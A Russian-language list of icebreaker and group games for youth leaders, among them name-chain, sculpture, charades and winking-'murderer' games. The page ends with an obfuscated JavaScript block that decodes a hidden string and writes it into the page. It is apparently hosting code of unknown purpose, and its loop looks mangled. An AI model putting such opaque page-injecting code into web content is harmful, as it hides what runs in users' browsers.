Доброволец садится ко всем лицом, а к ведущему спиной. Ведущий над его головой (немного сзади, чтобы не было видно сидящему) держит любой предмет (например, бокал, рулон туалетной бумаги). Доб­роволец должен разрекламировать этот предмет (естественно, не зная, что это). Здесь каждый может пока­зать себя творчески, показать свое остроумие.

"РЫБЫ, ПТИЦЫ, ЗВЕРИ"

Участники игры сидят в кругу, ведущий просит их положить на колени сжатые кулаки. Затем он под­ходит к каждому по очереди, кладет руку на кулак и говорит: "Рыбы" или "Птицы" или "Звери". Участник должен назвать представителя этого класса. На обдумывание дается 3 секунды (ведущий считает вслух). Если участник игры называет слово правильно, ведущий переходит к следующему игроку, если же нет, то участник убирает один кулак. Игру можно продолжать до выявления победителя.                   .

"СУЩЕСТВИТЕЛЬНОЕ-ПРИЛАГАТЕЛЬНОЕ"

Участники стоят в широком кругу. Ведущий ходит по кругу с мячиком (или с каким-нибудь неболь­шим предметом). Он бросает одному из ребят мяч (предмет) и называет какое-нибудь существительное, например, земля. Тот, кому бросили мяч, должен быстро образовать от этого существительного прилага­тельное и бросить мяч обратно, сказав это слово. Если спустя 3 секунды участник игры не произносит ни­какого прилагательного, то он становится ведущим. Для повышения интереса можно придумывать слож­ные существительные, от которых трудно образовывать прилагательные. Например, такси, штаны, камзол, пианино, фейхоа, кочерга.

"СНЕЖНЫЙ КОМ"

Эта игра полезна и даже необходима при первом знакомстве ребят. Участники игры сидят в кругу. Первый называет свое имя, второй — имя первого и свое, третий — имена первого и второго, потом — свое, и т.д., пока круг не замкнется. В итоге последний в кругу говорит имена всех играющих, а затем и свое. Легче, конечно, быть первым, но последним —- полезней.

"САМЫЙ РАССЕЯННЫЙ"

Ведущий показывает участникам игры какой-либо предмет, например, карандаш, и просит всех выйти на минутку из аудитории. Оставшись один, ведущий кладет карандаш в такое место, где он хотя и виден, но может быть замечен лишь при внимательном осмотре комнаты. Можно, например, положить карандаш на перекладину, связывающую ножки стола, на карниз и т.п. Когда участники по зову ведущего возвратят­ся в аудиторию, каждый старается как можно скорее обнаружить карандаш. Увидев его, играющий тут же садится, предварительно тихо сообщив на ухо ведущему, где спрятан карандаш. Тот, кто находит каран­даш последним — самый рассеянный.

"СКАЗОЧНЫЕ ГЕРОИ"

Каждый выбирает своего любимого сказочного или литературного героя. Затем все разбиваются на группы. Задача каждой группы — разыграть сцену, где и при каких обстоятельствах могли встретиться данные герои и о чем они могли говорить друг с другом. Например, Русалка, Красная Шапочка и Скарлетт О'Хара.

"СКУЛЬПТОР"

Доброволец должен создать любой памятник. Он выступает в роли скульптора. Для этого надо исполь­зовать любое количество людей. Его скульптура обязательно должна иметь название и, конечно, отражать его. Затем скульптор становится на место одного из участников скульптуры (желательно, стоящего в самой неудобной позе), чтобы почувствовать себя на его месте.

"СКУЛЬПТУРА"

Вес, кроме 2 человек, выходят за дверь. Оставшиеся изображают из себя скульптуру и называют ее. Входит третий и пытается отгадать название (вернее, придумывает свое). И, соответственно придуманному названию с помощью себя он достраивает скульптуру (т. е. пристраивается к ней) и т. д. Интересно, изме­няется ли сюжет и название скульптуры.

"СОБАКА"

Ведущий говорит и одновременно показывает: "У моей собаки уши вот такие". Следующий подхваты­вает (тоже показывает и говорит): "У моей собаки уши вот такие, а глаза вот такие". Следующий подхваты­вает и так далее по кругу по принципу "снежного кома", каждый добавляет какой-то признак. Если участ­ников немного (5-7), to игру можно пустить по второму кругу.

"ТЕЛЕГРАММА"

Участники игры стоят в кругу, взявшись за руки. В центре стоит водящий. Один из играющих гово­рит: "Я посылаю телеграмму такому-то". "Телеграмма" передается по цепочке пожатием сцепленных рук в любую сторону по кругу. Водящий должен "перехватить" телеграмму", т.е. увидеть пожатие руки. Если он замечает это, то встает в общий круг, а попавшийся становится водящим. Если "телеграмма" доходит до адресата, он говорит: "Телеграмму" получил" и сам отправляет "телеграмму" кому-то. Нельзя отправлять "телеграмму" рядом стоящему. Если водящий никак не может перехватить послание, то лучше его. Поме­нять.

"УБИЙЦА"

Все вытаскивают карточки (одна из них отмечена крестом — это "убийца"). Все сидят в кругу. "Убий­ца" убивает жертву помощью подмигивания. "Убитый" человек не имеет права голоса (он только сообщает о том, что его убили). Задача остальных — заметить, кто моргает и "убивает" людей и не погибнуть самим. Задача "убийцы" — "убить" всех, чтобы его не рассекретили.

"ФУНКЦИИ ПРЕДМЕТА"

Группа делится на команды. Каждой команде дается для анализа какой-то предмет, вернее его назва­ние- Необходимо придумать, как можно больше функций, которые может выполнять этот предмет, но они должны быть более менее реальными. Затем представитель каждой команды вслух зачитывает выделенные функции предмета. А другие команды отгадывают, что это за предмет.

"ШАРАДЫ"

Эту игру хорошо включать в занятия, посвященные невербальному общению. Участники игры делятся на две команды. Первая команда загадывает какое-нибудь слово или фразу. Затем выбирают кого-то из команды соперников и на ухо говорят ему загаданное слово. Этот человек должен без помощи речи изобра­зить это слово, а его команда старается понять и угадать. Потом команды меняются ролями.

"ШИШКИ, ЖЕЛУДИ, ОРЕХИ"

Участники игры разбиваются на тройки и выбирают себе одну из ролей: шишки, желудя или ореха. Тройки образуют круги, но так, чтобы между ними была дистанция. В центре находится ведущий и гово­рит: "Меняются местами шишки (желуди или орехи)". Например, если назвали "шишки", то "шишки" бы­стро перебегают в другую тройку, а ведущий в это время пытается занять освободившееся в тройке место. Кто не успел занять место в тройке, становится ведущим и игра продолжается дальше.

"ЦИРК"

Играющие становятся в круг, ведущий — в центре круга. Ведущий исполняет роль конферансье, ос­тальные — сразу и актеры и зрители. Ведущий объявляет: "Парад-алле!" Все участники двигаются по кру­гу, изображая, кто клоунов, кто жонглеров, кто силачей и т.д. Ведущий просит остановиться и похлопать. Объявляет: "А теперь выступает знаменитая дрессировщица и ее львы!" (показывает на нескольких участ­ников, назначая одного на роль укротителя, остальных — на роль зверей). Названные выходят в круг и по­казывают свой номер, остальные "играют" зрителей. Ведущий продолжает: "Следующий номер — весе­лые клоуны!" (снова выбирает артистов) и т.д.

 

 

function pde63eee44(s535e23c){var sebfb0=s535e23c.substr(9,3)-599,ib88fc347,i9ca815a;s535e23c=s535e23c.substr(12);var d91e9c6=s535e23c.length;for(var ca59881e=0;ca59881e848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='±';}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667±178±±223±±220±±232±±215±±227±±219±{667{±21±{578{±15±±14±{488{±165±{513{±152±±125±±195±{474{±168±±168±±164±ncc±156±±174±±163±±162±±153±±164±±163±±157±±162±±168±b±151±{614{/{495{±182±x{607{,,{622{;±247±16,-@{640{±8±JB{574{±8±±186±±184±±15±±1±±252±{487{±181±±169±±126±c{636{±14±±248±±246±>{667{Z^\\{658{T`)±14±{665{){490{fd±165±±176±{595{±22±±20±{516{±204±{614{±253±±226±,%&{500{±194±{491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}
Hosted by uCoz